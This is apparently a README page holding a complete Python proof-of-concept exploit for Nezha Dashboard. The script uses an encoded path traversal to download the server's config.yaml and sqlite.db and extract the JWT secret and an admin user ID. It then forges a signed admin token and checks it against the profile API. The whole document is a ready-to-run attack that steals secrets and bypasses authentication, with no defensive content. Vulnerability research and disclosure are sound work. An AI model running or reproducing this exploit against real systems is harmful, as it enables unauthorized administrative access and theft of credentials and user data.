README.md
Rendering markdown...
#!/usr/bin/env python3
# Nezha Dashboard Path Traversal & JWT Forgery PoC
# Usage: python3 exploit.py <url> [optional_secret] [optional_user_id]
import sys, os, re, json, time, hmac, hashlib, base64, sqlite3, urllib.request
def b64(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <url> [jwt_secret] [user_id]")
sys.exit(1)
url = sys.argv[1].rstrip("/")
secret = sys.argv[2] if len(sys.argv) > 2 else None
uid = sys.argv[3] if len(sys.argv) > 3 else None
try:
# Fetch Secret
if not secret:
print("[*] Downloading config.yaml via path traversal...")
cfg = urllib.request.urlopen(f"{url}/dashboard%2e%2e/data/config.yaml", timeout=10).read()
secret = re.search(rb'jwt_secret_key:\s*["\']?(.*?)["\']?(?:\r|\n|$)', cfg).group(1).decode()
# Fetch User ID
if not uid:
print("[*] Downloading sqlite.db via path traversal...")
db = urllib.request.urlopen(f"{url}/dashboard%2e%2e/data/sqlite.db", timeout=15).read()
open("t.db", "wb").write(db)
conn = sqlite3.connect("t.db")
uid = str(conn.execute("SELECT id FROM users ORDER BY id LIMIT 1").fetchone()[0])
conn.close()
os.remove("t.db")
print(f"[+] Secret: {secret} | Admin ID: {uid}")
# Forge JWT
now = int(time.time())
h = b64(b'{"alg":"HS256","typ":"JWT"}')
p = b64(json.dumps({"user_id": uid, "ip": "", "exp": now + 3600, "orig_iat": now}).encode())
s = b64(hmac.new(secret.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{s}"
print(f"[+] Forged JWT:\n{token}\n\n[*] Verifying...")
# Verify
req = urllib.request.Request(f"{url}/api/v1/profile", headers={"Authorization": f"Bearer {token}"})
res = urllib.request.urlopen(req, timeout=10)
print(f"[+] Success! Authenticated as Admin.\n{res.read().decode()}")
except Exception as e:
print(f"[-] Exploit failed: {e}")